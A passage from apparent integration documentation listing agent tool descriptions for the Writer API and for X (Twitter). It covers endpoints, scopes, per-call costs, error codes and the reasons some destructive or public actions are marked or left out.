no-code agent that has chat capabilities. Needs the `applications` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/applications/{application_id}/graphs. Scopes: applications. writer_get_v1_applications_by_application_id_jobs (read) — Retrieve all jobs created via the async API, linked to the provided application ID (or alias). Needs the `applications` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/applications/{application_id}/jobs. Scopes: applications. writer_get_v1_applications_jobs_by_job_id (read) — Retrieves a single job created via the Async API. Needs the `applications` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/applications/jobs/{job_id}. Scopes: applications. writer_get_v1_files (read) — Retrieve a paginated list of files with optional filtering by status, graph association, and file type. `file_types` is a comma-joined list of extensions (`pdf,jpg,docx`); an unknown `status` value answers 400 naming the valid ones (measured 2026-09-19). Needs the `files` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/files. Scopes: files. writer_get_v1_files_by_file_id (read) — Retrieve detailed information about a specific file, including its metadata, status, and associated graphs. Needs the `files` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/files/{file_id}. Scopes: files. writer_get_v1_graphs (read) — Retrieve a list of Knowledge Graphs. By default, the response contains only org-wide Knowledge Graphs. To include Knowledge Graphs that are deployed to specific teams, pass one or more team IDs in the `team_ids` query parameter. Requests authenticated with a team-scoped API key always return only that key's team; passing a different value in `team_ids` is rejected. `team_ids` is sent as a repeated query parameter (`?team_ids=42&team_ids=43`); a team outside the organization answers 403 naming it in `extras.invalidTeamIds` (measured 2026-09-19). Needs the `knowledge_graphs` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/graphs. Scopes: knowledge_graphs. writer_get_v1_graphs_by_graph_id (read) — Retrieve a Knowledge Graph. Needs the `knowledge_graphs` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/graphs/{graph_id}. Scopes: knowledge_graphs. writer_get_v1_models (read) — Retrieve a list of available models that can be used for text generation, chat completions, and other AI tasks. Needs the `completions` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. GET /api/v1/writer/v1/models. Scopes: completions. writer_post_v1_applications_by_application_id (write) — Generate content from an existing no-code agent (formerly called no-code applications) with inputs. Spends generation credits. Streaming is not offered here (`stream` is pinned to false). Applications (no-code agents) are created in AI Studio, not through the API; use `writer_get_v1_applications` to find one. An unknown id answers 404 "Application not found for organization <org> and id <id>" (measured 2026-09-19). Needs the `applications` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/applications/{application_id}. Scopes: applications. writer_post_v1_applications_by_application_id_jobs (write) — Generate content asynchronously from an existing no-code agent (formerly called no-code applications) with inputs. Needs the `applications` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/applications/{application_id}/jobs. Scopes: applications. writer_post_v1_applications_jobs_by_job_id_retry (write) — Re-triggers the async execution of a single job previously created via the Async api and terminated in error. Needs the `applications` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/applications/jobs/{job_id}/retry. Scopes: applications. writer_post_v1_chat (write) — Generate a chat completion based on the provided messages. The response shown below is for non-streaming. To learn about streaming responses, see the [chat completion guide](https://dev.writer.com/home/chat-completion). Spends generation credits. Streaming is not offered here: the response is one complete JSON document (`stream` is pinned to false by this integration). `max_tokens` must be at least 16 (measured 2026-09-19). Needs the `completions` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/chat. Scopes: completions. writer_post_v1_completions (write) — Generate text completions using the specified model and prompt. This endpoint is useful for text generation tasks that don't require conversational context. Spends generation credits. Streaming is not offered here: the response is one complete JSON document (`stream` is pinned to false). Needs the `completions` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/completions. Scopes: completions. writer_post_v1_files (write) — Upload a new file to the system. Supports various file formats including PDF, DOC, DOCX, PPT, PPTX, JPG, PNG, EML, HTML, SRT, CSV, XLS, and XLSX. File uploads do not accept team parameters. When you attach a file to a Knowledge Graph, the file inherits the team scope of that Knowledge Graph. The file is sent as a JSON envelope: `file_name`, `content_type` and EXACTLY ONE of `content` (UTF-8 text) or `content_base64` (any of the fourteen formats; at most 4 MB decoded). A new file answers `status: in_progress`; poll `writer_get_v1_files_by_file_id` until it is `completed` before adding it to a Knowledge Graph -- measured 2026-09-19, adding a file still processing answers 400 "File <id> is still processing. Try your request later." Needs the `files` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/files. Scopes: files. writer_post_v1_files_retry (write) — Retry processing of files that previously failed to process. This will re-attempt the processing of the specified files. Only files whose status is `failed` qualify; a completed file answers 400 "No errored files associated to the following ids" (measured 2026-09-19). Needs the `files` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/files/retry. Scopes: files. writer_post_v1_graphs (write) — Create a new Knowledge Graph. By default, the new Knowledge Graph is org-wide (accessible to every team in the organization). To deploy the Knowledge Graph to specific teams instead, provide a `team_ids` array in the request body. When the request is authenticated with a team-scoped API key, the new Knowledge Graph is automatically assigned to that key's team and `team_ids` in the body is not accepted. Needs the `knowledge_graphs` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/graphs. Scopes: knowledge_graphs. writer_post_v1_graphs_by_graph_id_file (write) — Add a file to a Knowledge Graph. Team access is inherited from the Knowledge Graph; the file itself does not carry team parameters. The file must have finished processing: a file whose status is still `in_progress` answers 400 "File <id> is still processing. Try your request later." (measured 2026-09-19). Poll `writer_get_v1_files_by_file_id` first. Needs the `knowledge_graphs` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/graphs/{graph_id}/file. Scopes: knowledge_graphs. writer_post_v1_graphs_question (write) — Ask a question to specified Knowledge Graphs. Spends generation credits. Streaming is not offered here (`stream` is pinned to false); set `subqueries` for a multi-step answer. Needs the `knowledge_graphs` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/graphs/question. Scopes: knowledge_graphs. writer_post_v1_tools_pdf_parser_by_file_id (write) — Parse PDF to other formats. The file must be an uploaded PDF (`writer_post_v1_files` with `content_type: application/pdf`) whose status is `completed`. Needs the `tools` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/tools/pdf-parser/{file_id}. Scopes: tools. writer_post_v1_tools_web_search (write) — Search the web for information about a given query and return relevant results with source URLs. Streaming is not offered here (`stream` is pinned to false). Needs the `tools` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/tools/web-search. Scopes: tools. writer_post_v1_vision (write) — Submit images and documents with a prompt to generate an analysis. Supports JPG, PNG, PDF, and TXT files up to 7MB each. Spends generation credits. Upload the images first (`writer_post_v1_files`, image/png or image/jpeg) and reference each file's `name` in the prompt as `{{name}}`; a variable the prompt does not mention answers 400. Use `model: palmyra-x5`: on 2026-09-19 `palmyra-vision` answered 500 "Internal fail" on every call on this workspace while `palmyra-x5` answered 200 with a correct description. Needs the `vision` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. POST /api/v1/writer/v1/vision. Scopes: vision. writer_put_v1_applications_by_application_id_graphs (write) — Updates the list of Knowledge Graphs associated with a no-code chat agent. Needs the `applications` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. PUT /api/v1/writer/v1/applications/{application_id}/graphs. Scopes: applications. writer_put_v1_graphs_by_graph_id (write) — Update the name, description, web connector URLs, or team assignment of a Knowledge Graph. Including a `team_ids` array replaces the whole team assignment: an empty array makes the Knowledge Graph org-wide, one or more team IDs scope it to exactly those teams. Omitting `team_ids` leaves the current team assignment unchanged. Team-scoped API keys cannot change the team assignment of a Knowledge Graph. Needs the `knowledge_graphs` capability enabled on the API agent that owns the key: a key whose agent lacks it is refused by Writer with 403 rather than 401, which is a console setting and not a credential fault. PUT /api/v1/writer/v1/graphs/{graph_id}. Scopes: knowledge_graphs. ================================================================================ ## X URL: https://www.agenticfabriq.com/integrations/x Section: Integrated Tools X — 81 MCP tools Provider key: twitter. Scopes: block.read, bookmark.read, bookmark.write, follows.read, like.read, list.read, list.write, media.write, mute.read, mute.write, space.read, timeline.read, tweet.moderate.write, tweet.read, tweet.write, users.read. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. twitter_add_list_member (write) — Add one account to a list the connected account owns. Reversible by 'Remove an account from a list'. Being added to a PUBLIC list is visible to the account added, which is why creating a list defaults to private. POST /api/v1/tools/twitter/lists/members/add. Scopes: list.write. twitter_append_media_upload (write) — Send one chunk of a chunked upload — step 2 of 5, repeated once per chunk. Chunks are base64-encoded (a tool call is JSON, so there is no other way to carry bytes) and must start at segment_index 0 and be consecutive; X assembles them in index order at finalize, so a gap is discovered there rather than here. Each chunk may decode to at most 4 MB and segment_index caps at 999. Agentic Fabriq checks the DECODED size, not the base64 string, because base64 is a third larger and a check on the string would let an over-limit file through. POST /api/v1/tools/twitter/media/upload/append. Scopes: media.write. twitter_create_bookmark (write) — Bookmark one post for the connected account. PRIVATE — a bookmark is visible to nobody but the account owner — reversible by 'Remove a bookmark', and about $0.005. This is the private alternative to a public like, and it is what to use for 'monitor this topic and keep the good ones'. POST /api/v1/tools/twitter/bookmarks. Scopes: bookmark.write. twitter_create_bookmark_folder (write) — Create a bookmark folder on the connected account. Private: a folder is not published and nobody else can see it. X publishes NO delete for folders, which is worth knowing before creating one — a folder made by mistake has to be removed by a person in the X app. POST /api/v1/tools/twitter/bookmarks/folders/create. Scopes: bookmark.write. twitter_create_draft_article (write) — Write a long-form X Article DRAFT. A draft is visible only to the account owner and publishes nothing, which is what makes it the safe half of the pair: an agent that writes and a human that publishes is the right division of labour for something with no character ceiling. POST /api/v1/tools/twitter/articles/draft. Scopes: tweet.write. twitter_create_list (write) — Create a list owned by the connected account, at about $0.010. PRIVATE BY DEFAULT, which is not X's own default: a public list publishes its name, its description and every account in it, and 'accounts our agent is monitoring' is not something to publish by accident. POST /api/v1/tools/twitter/lists. Scopes: list.write. twitter_create_media_subtitles (write) — Attach an uploaded subtitle track to an uploaded video. TWO uploads are involved and confusing them is the usual mistake: media_id is the VIDEO, subtitle_media_id is the .srt or .vtt file uploaded separately with media_category=subtitles. The video's category is spelled differently here than on the upload endpoints — TweetVideo and AmplifyVideo, not tweet_video. Reversible by Remove subtitles from a video, which ships alongside it. POST /api/v1/tools/twitter/media/subtitles. Scopes: media.write. twitter_create_post (write, destructive) — DESTRUCTIVE — publish a post to X as the connected account. The post is public the moment it is created and can be seen, screenshotted and reposted by anyone; deleting it afterwards does not retract those copies. X bills the app owner about $0.015 per post, or $0.20 if the post contains a link. Quote posting, promoted-only (nullcast) posting and media attachments are not available. POST /api/v1/tools/twitter/posts. Scopes: tweet.write. twitter_delete_bookmark (write) — Remove one bookmark from the connected account. The inverse of 'Bookmark a post'. Private and reversible, so it is not marked destructive. POST /api/v1/tools/twitter/bookmarks/remove. Scopes: bookmark.write. twitter_delete_list (write, destructive) — DESTRUCTIVE — delete one list the connected account owns. X publishes no restore endpoint, so this is a one-way door. It is bounded to a single owned list and rebuildable from a prior 'Read a list's members' call, which is the same reasoning that lets deleting a post exist as the remedy for publishing one. Read the members first if the set matters. POST /api/v1/tools/twitter/lists/delete. Scopes: list.write. twitter_delete_media_subtitles (write) — Remove one subtitle track, by language, from an uploaded video. The inverse of Add subtitles to a video, so a track attached under the wrong language code can be corrected without re-uploading the video. Not marked destructive: the subtitle file itself is untouched and can be re-attached. POST /api/v1/tools/twitter/media/subtitles/remove. Scopes: media.write. twitter_delete_post (write, destructive) — DESTRUCTIVE — delete one post published by the connected account. There is no undo, and deleting does not retract screenshots, reposts or anything already scraped. X uses the same tweet.write permission for publishing and deleting, so granting this action separately is the only separation Agentic Fabriq can offer. DELETE /api/v1/tools/twitter/posts. Scopes: tweet.write. twitter_finalize_media_upload (write) — Close a chunked upload and ask X to assemble it — step 3 of 5. READ THE ANSWER CAREFULLY, because the rule is easy to get backwards: if the response has NO processing_info the media is ready and must not be polled. If it has one, wait check_after_secs and call Check media upload status. Attaching a media id before its state is succeeded publishes a post whose media will not play, and the post is public by then. POST /api/v1/tools/twitter/media/upload/finalize. Scopes: media.write. twitter_follow_list (write) — Follow a list as the connected account. This takes the list permission, NOT the follows permission — X's 2026-04-20 removal took following ACCOUNTS off every self-serve tier, and following a LIST is a different capability, which is why this is available and following an account is not. POST /api/v1/tools/twitter/lists/follow. Scopes: list.write. twitter_get_activity_subscriptions (read) — List the activity webhook subscriptions registered on this X app — a POSTURE READ, and the only member of the Activity family Agentic Fabriq ships. It lets an agent report that the app is already streaming this account's activity somewhere, and to where, without being able to add or remove a destination: creating and deleting a subscription designates a caller-chosen callback URL that keeps delivering after the agent stops, and is excluded. The same asymmetry as blocked accounts — the read ships so an agent can see the state, the write does not so it cannot set it. GET /api/v1/tools/twitter/activity/subscriptions. Scopes: tweet.read. twitter_get_blocked_users (read) — List the accounts the connected account has blocked, so an agent can avoid engaging with them. READ ONLY: nothing in Agentic Fabriq can block or unblock, because unblocking re-opens a channel a human closed deliberately for a reason the API cannot report. GET /api/v1/tools/twitter/blocked-users. Scopes: block.read. twitter_get_bookmark_folders (read) — The connected account's bookmark folders. Bookmarks and their folders are PRIVATE — visible to nobody but the account owner, and invisible to the accounts whose posts are saved. GET /api/v1/tools/twitter/bookmarks/folders. Scopes: bookmark.read. twitter_get_bookmarks (read) — List the connected account's bookmarks. Bookmarks are PRIVATE — visible to nobody but the account owner — and X refuses this call for any account other than the connected one. About $0.005 per post. GET /api/v1/tools/twitter/bookmarks. Scopes: bookmark.read. twitter_get_bookmarks_by_folder (read) — The posts saved in one bookmark folder, by folder id from List bookmark folders. Private to the connected account. GET /api/v1/tools/twitter/bookmarks/folder. Scopes: bookmark.read, tweet.read. twitter_get_community (read) — Read one X Community by id. About $0.005. GET /api/v1/tools/twitter/community. Scopes: tweet.read. twitter_get_followed_lists (read) — List the lists one account follows. About $0.005 per list. GET /api/v1/tools/twitter/followed-lists. Scopes: list.read. twitter_get_followers (read) — List the accounts following one account. EXPENSIVE: X bills about $0.010 per account returned and this paginates over the whole follower graph, so walking a 50,000-follower account to the end costs about $500. The page size is clamped to 100 and defaults to 25; the number of pages is the caller's choice. GET /api/v1/tools/twitter/followers. Scopes: follows.read. twitter_get_following (read) — List the accounts one account follows. Same $0.010-per-account cost and the same clamps as reading followers. FOLLOWING and UNFOLLOWING are not available: X removed them from every self-serve tier on 2026-04-20, and a follow is a public statement of affiliation Agentic Fabriq will not make for a customer. GET /api/v1/tools/twitter/following. Scopes: follows.read. twitter_get_home_timeline (read) — Read the connected account's own reverse-chronological home timeline — the feed its owner sees. This is OWNED data, so X prices it at about $0.001 per post instead of $0.005. It is the basis of every digest and briefing workflow, and X refuses the call for any account other than the connected one. GET /api/v1/tools/twitter/home-timeline. Scopes: tweet.read, users.read. twitter_get_liked_posts (read) — List the posts one account has liked, at about $0.001 each. Availability is unconfirmed for the same reason as 'Read who liked a post'. GET /api/v1/tools/twitter/liked-posts. Scopes: like.read, tweet.read. twitter_get_liking_users (read) — List the accounts that liked one post, at about $0.001 each. AVAILABILITY IS UNCONFIRMED: X removed like WRITES from every self-serve tier on 2026-04-20 and its wording ("Likes ... via the API") did not clearly distinguish reads. Its pricing page still lists a Likes read price, but there are open reports of this endpoint returning an empty list for posts with confirmed likes — so an empty answer may be the endpoint rather than the post. GET /api/v1/tools/twitter/liking-users. Scopes: like.read, users.read. twitter_get_list (read) — Read one list's name, description, owner, visibility and member and follower counts. About $0.005. GET /api/v1/tools/twitter/list. Scopes: list.read. twitter_get_list_followers (read) — List the accounts following one list. About $0.010 per account. GET /api/v1/tools/twitter/list-followers. Scopes: list.read, users.read. twitter_get_list_members (read) — List the accounts in one list. Also the only way to reconstruct a list after it is deleted, because X publishes no restore endpoint — read this before deleting anything. About $0.010 per account. GET /api/v1/tools/twitter/list-members. Scopes: list.read, users.read. twitter_get_list_memberships (read) — List the lists one account is a member of. About $0.005 per list. GET /api/v1/tools/twitter/list-memberships. Scopes: list.read. twitter_get_list_posts (read) — Read the posts in one list — a curated feed the customer already maintains, at about $0.005 per post with NO search cost. Strictly cheaper and more precise than paying search to approximate the same set. GET /api/v1/tools/twitter/list-posts. Scopes: list.read, tweet.read. twitter_get_me (read) — Return the X account this connection authenticates as, with its numeric id, handle, display name, creation date and public metrics. START HERE: the numeric id is what most other actions require; they do not accept an @handle. Cheapest call X offers, but still billed at about $0.005. GET /api/v1/tools/twitter/me. Scopes: users.read. twitter_get_media (read) — Read one uploaded media object by its media KEY — the 13_1880... form from an upload response or a post lookup, not the numeric media id. Reads take tweet.read rather than media.write, so an agent can be allowed to inspect media without being able to upload any. GET /api/v1/tools/twitter/media. Scopes: tweet.read. twitter_get_media_by_keys (read) — Read up to 100 media objects in ONE request. Same reasoning as the batch post and account lookups: X bills per resource rather than per request, so a hundred keys in one call cost what a hundred calls would and consume one unit of the 900-per-15-minute window every connection on the app shares, instead of a hundred. GET /api/v1/tools/twitter/media/batch. Scopes: tweet.read. twitter_get_media_upload_status (read) — Poll a finalized upload until X reports succeeded or failed — step 4 of 5, and only when finalize returned a processing_info. Wait the check_after_secs X gives between calls: video and GIF assembly usually takes 30-120 seconds, and polling faster earns a 429 shared by every connection on the same X app. failed is terminal — the media id cannot be revived and the file has to be uploaded again from the start. GET /api/v1/tools/twitter/media/upload/status. Scopes: media.write. twitter_get_mentions (read) — List posts mentioning one account, newest first. Billed at about $0.005 per post read. GET /api/v1/tools/twitter/mentions. Scopes: tweet.read, users.read. twitter_get_muted_users (read) — List the accounts the connected account has muted. A mute is private and invisible to the muted account, which is what makes reading the list safe. About $0.001 per account. GET /api/v1/tools/twitter/muted-users. Scopes: mute.read. twitter_get_news (read) — Read one news story X surfaces, by id. GET /api/v1/tools/twitter/news. Scopes: tweet.read. twitter_get_notes_written (read) — List the Community Notes the connected account has written. READ ONLY, and deliberately so: WRITING a Community Note is a public assertion that somebody else's post is misleading, permanently attached to their post and fed into X's ranking, with no bounded remedy. Agentic Fabriq exposes no action that writes one. GET /api/v1/tools/twitter/notes/written. Scopes: tweet.read. twitter_get_owned_lists (read) — List the lists one account owns. This is the read that produces the list id every other list action needs — without it the list family is unreachable for anyone who does not already know an id. About $0.005 per list. GET /api/v1/tools/twitter/owned-lists. Scopes: list.read. twitter_get_personalized_trends (read) — Read the trends X personalises for the connected account. Owned data — X resolves the account from the token, so this cannot be pointed at anybody else. GET /api/v1/tools/twitter/trends/personalized. Scopes: users.read, tweet.read. twitter_get_pinned_lists (read) — List the lists the connected account has pinned to its profile. X returns the whole set; there is no pagination on this endpoint. GET /api/v1/tools/twitter/pinned-lists. Scopes: list.read. twitter_get_post (read) — Read one post by its numeric id, including text, author, language, referenced posts and public metrics. To read MORE than one, use 'Read posts by id (batch)' — it reads up to 100 in a single request at the same per-post price. Billed at about $0.005. GET /api/v1/tools/twitter/post. Scopes: tweet.read. twitter_get_post_counts_recent (read) — Count how many posts from the last seven days match a search, WITHOUT reading any of them. Flat $0.005 per request rather than $0.005 per post, so it prices a query before it is paid for: a search matching 4,000 posts costs about $20 to read and $0.005 to count. Run this before a broad search. GET /api/v1/tools/twitter/search/counts. Scopes: tweet.read. twitter_get_posts_by_ids (read) — Read up to 100 posts in ONE request. Identical $0.005 per post, but one request instead of a hundred against the 900-per-15-minute window every connection on the same X app shares. Unreadable ids (deleted, protected) come back in an errors array while the rest still return — a partial answer, not a failure. GET /api/v1/tools/twitter/posts-by-ids. Scopes: tweet.read, users.read. twitter_get_posts_eligible_for_notes (read) — List the posts X considers eligible for a Community Note. Read-only for the same reason as reading notes written. GET /api/v1/tools/twitter/notes/eligible-posts. Scopes: tweet.read. twitter_get_quoted_posts (read) — List the posts that quote one post — the half of amplification that carries commentary. Quote POSTING was removed from every self-serve tier on 2026-04-20, which makes quote READING the only way to see what people said when they amplified something. Billed at about $0.005 per post. GET /api/v1/tools/twitter/quote-posts. Scopes: tweet.read, users.read. twitter_get_reposted_by (read) — List the accounts that reposted one post. This is not reachable any other way: X's 2026-05-04 search reindex stopped returning retweets in keyword search results, so no search query can answer it. Billed at about $0.010 per account returned. GET /api/v1/tools/twitter/reposted-by. Scopes: tweet.read, users.read. twitter_get_reposts (read) — The repost POSTS of one post — not the accounts that made them. Different endpoint and different answer from Read who reposted a post, which returns account objects: this returns Post objects, so each repost carries its own id, timestamp and metrics. It is the only one of the two that lets an agent reply to a specific repost or say WHEN the amplification happened. Billed per post returned, about $0.005. GET /api/v1/tools/twitter/posts/reposts. Scopes: tweet.read, users.read. twitter_get_reposts_of_me (read) — List posts that repost the connected account's own posts. Owned data, so about $0.001 per post. Takes no account id at all — X resolves the account from the token, which is what makes it impossible to point at anybody else. GET /api/v1/tools/twitter/reposts-of-me. Scopes: timeline.read, tweet.read. twitter_get_space (read) — Read one X Space by id. About $0.005. GET /api/v1/tools/twitter/space. Scopes: space.read. twitter_get_space_posts (read) — Read the posts shared inside one X Space. About $0.005 per post. GET /api/v1/tools/twitter/space-posts. Scopes: space.read, tweet.read. twitter_get_space_ticket_buyers (read) — The accounts that bought tickets to a paid Space. COMMERCIAL DATA ABOUT NAMED INDIVIDUALS: every row is a person who paid the customer money. X returns it only to the account that hosted the Space, so the recipient is already party to the transaction, but it is the most sensitive read in the Spaces family and an agent should say what it intends to do with the list before fetching it. Billed at the account rate, about $0.010 each, so the page size defaults low. GET /api/v1/tools/twitter/space-buyers. Scopes: space.read, users.read. twitter_get_spaces_by_creators (read) — Read the Spaces created by up to 100 accounts in one request. About $0.005 per Space. GET /api/v1/tools/twitter/spaces/by-creators. Scopes: space.read. twitter_get_spaces_by_ids (read) — Read up to 100 X Spaces by id in ONE request, with state, title, host and speaker ids, participant count and scheduled start. About $0.005 per Space. GET /api/v1/tools/twitter/spaces. Scopes: space.read. twitter_get_trends (read) — Read what is trending in one place, identified by its Yahoo 'Where On Earth' id — 1 is worldwide. One flat $0.010 request regardless of how many trends come back. GET /api/v1/tools/twitter/trends. Scopes: tweet.read. twitter_get_user (read) — Look up one X account by @handle and return its numeric id, display name, description, creation date and public metrics. To resolve MORE than one handle, use 'Look up accounts by handle' instead — it does up to 100 in a single request at the same per-account price. Billed at about $0.010. GET /api/v1/tools/twitter/user. Scopes: users.read. twitter_get_user_affiliates (read) — The accounts affiliated with a business account — the badge relationship X shows on employee profiles. A cheap public read, billed at about $0.010 per account returned. GET /api/v1/tools/twitter/affiliates. Scopes: users.read. twitter_get_user_posts (read) — List one account's posts, newest first, with text, creation time, author, conversation id and public metrics. Billed at about $0.005 per post read, so a wide page size is a real cost. GET /api/v1/tools/twitter/user-posts. Scopes: tweet.read, users.read. twitter_get_users_by_ids (read) — Read up to 100 accounts by numeric id in ONE request. Same $0.010 per account as reading them individually, but one request instead of a hundred against a 900-per-15-minute window that every connection on the same X app shares. Prefer this whenever more than one account is needed. GET /api/v1/tools/twitter/users-by-ids. Scopes: users.read. twitter_get_users_by_usernames (read) — Resolve up to 100 @handles to accounts in ONE request. This is the fix for X's most common ergonomic trap: nearly every action needs a NUMERIC user id and humans supply handles. Billed at about $0.010 per account. GET /api/v1/tools/twitter/users-by-usernames. Scopes: users.read. twitter_hide_reply (write) — Hide one reply to a post the connected account authored. The safest write X has left on self-serve: X refuses it unless the parent post belongs to this account, so it cannot touch a stranger's conversation; it is fully reversible by 'Un-hide a reply'; and it carries its own permission, so reply moderation can be granted WITHOUT granting the ability to publish. Hiding is not deleting — the reply still exists and its author can still see it. POST /api/v1/tools/twitter/replies/hide. Scopes: tweet.moderate.write. twitter_initialize_media_upload (write) — Reserve a media id and start a CHUNKED upload — step 1 of 5: initialize, then append once per chunk, then finalize, then check status if X says it is processing, then pass the id to Publish a post. Give the file's real byte count and MIME type; X uses them to pre-allocate. Categories decide the limits: tweet_image 5 MB, tweet_gif 15 MB, tweet_video and amplify_video 512 MB. The DM categories are refused — Agentic Fabriq ships no Direct Message operation, so media staged for one could only be sent by something outside Agentic Fabriq, with no audit row. additional_owners and shared are refused too: both grant other accounts a standing right over this media that Agentic Fabriq cannot revoke. For a single image under 5 MB use Upload media instead — one call, no chunking. POST /api/v1/tools/twitter/media/upload/initialize. Scopes: media.write. twitter_mute_user (write) — Mute one account for the connected account. A mute is PRIVATE — invisible to the muted account, sending no signal — and fully reversible by 'Unmute an account'. Not marked destructive for those reasons, but it silences a source the account owner may be relying on, so grant it deliberately. BLOCKING is not available: a block is visible to the blocked account and is a security decision Agentic Fabriq will not make for a customer. POST /api/v1/tools/twitter/mutes. Scopes: mute.write. twitter_pin_list (write) — Pin a list to the connected account's profile. Reversible by 'Unpin a list'. POST /api/v1/tools/twitter/lists/pin. Scopes: list.write. twitter_publish_article (write, destructive) — DESTRUCTIVE — publish a long-form Article draft as the connected account. Public immediately, with an unbounded audience and NO character ceiling, which makes it the largest blast radius Agentic Fabriq exposes on X. There is no undo: X publishes no unpublish endpoint, and deleting the Article afterwards would not retract screenshots or reposts. Everything true of publishing a post is true here with more text behind it. POST /api/v1/tools/twitter/articles/publish. Scopes: tweet.write. twitter_remove_list_member (write) — Remove one account from a list. The inverse of 'Add an account to a list'. POST /api/v1/tools/twitter/lists/members/remove. Scopes: list.write. twitter_repost (write, destructive) — DESTRUCTIVE — repost an existing post to the connected account's own timeline. It republishes content this account did not write, which is a public endorsement; 'Retract a repost' removes this account's copy but not the reposts of the repost, nor the screenshots. AVAILABILITY IS UNCONFIRMED: X's 2026-04-20 removal named Following, Likes and Quote-Posts and did not name reposts, but reposts are the obvious fourth member of that group. If X has swept it too, this returns an HTTP 403. POST /api/v1/tools/twitter/reposts. Scopes: tweet.write. twitter_search_communities (read) — Search X Communities by name. About $0.005 per Community returned. GET /api/v1/tools/twitter/communities/search. Scopes: tweet.read. twitter_search_news (read) — Search the news stories X surfaces. Useful for research before drafting. GET /api/v1/tools/twitter/news/search. Scopes: tweet.read. twitter_search_recent (read) — Search the LAST SEVEN DAYS of posts using X's search operator language. Older posts need full-archive search, which is Enterprise-only from $42,000/month and is not available. Billed at about $0.005 per post returned — run 'Count recent posts' first to find out how many that will be. Note that since X's 2026-05-04 search reindex, retweets are no longer returned in keyword search at all. GET /api/v1/tools/twitter/search. Scopes: tweet.read. twitter_search_spaces (read) — Search X Spaces by title, filtered to live, scheduled or all. About $0.005 per Space returned. GET /api/v1/tools/twitter/spaces/search. Scopes: space.read. twitter_search_users (read) — Find accounts by name or topic without knowing the exact handle. Billed at about $0.010 per account returned — DOUBLE a post read — so the default page size is 25 rather than X's 100. GET /api/v1/tools/twitter/users/search. Scopes: users.read. twitter_set_media_metadata (write) — Attach ALT TEXT and content warnings to uploaded media, before it is posted. Alt text is the reason this exists: media posted without it is invisible to anyone using a screen reader, so an agent that can post images and cannot describe them publishes inaccessible content on the customer's account by default. Call it BEFORE attaching the id to a post — once the post is public, the alt text a reader missed is not recoverable. sensitive_media_warning is disclosure and can be set deliberately. X's advertising and distribution controls — geo and domain restrictions, audience policy, sticker and management info — are not exposed. POST /api/v1/tools/twitter/media/metadata. Scopes: media.write. twitter_unfollow_list (write) — Unfollow a list. The inverse of 'Follow a list'. POST /api/v1/tools/twitter/lists/unfollow. Scopes: list.write. twitter_unhide_reply (write) — Un-hide a reply this account previously hid. The inverse of 'Hide a reply', on the same endpoint and under the same permission. POST /api/v1/tools/twitter/replies/unhide. Scopes: tweet.moderate.write. twitter_unmute_user (write) — Unmute one account. The inverse of 'Mute an account', shipped alongside it. POST /api/v1/tools/twitter/mutes/remove. Scopes: mute.write. twitter_unpin_list (write) — Unpin a list from the connected account's profile. The inverse of 'Pin a list'. POST /api/v1/tools/twitter/lists/unpin. Scopes: list.write. twitter_unrepost (write) — Retract a repost the connected account made. The inverse of 'Repost a post', shipped alongside it. Takes the ORIGINAL post's id, not the id of the repost. POST 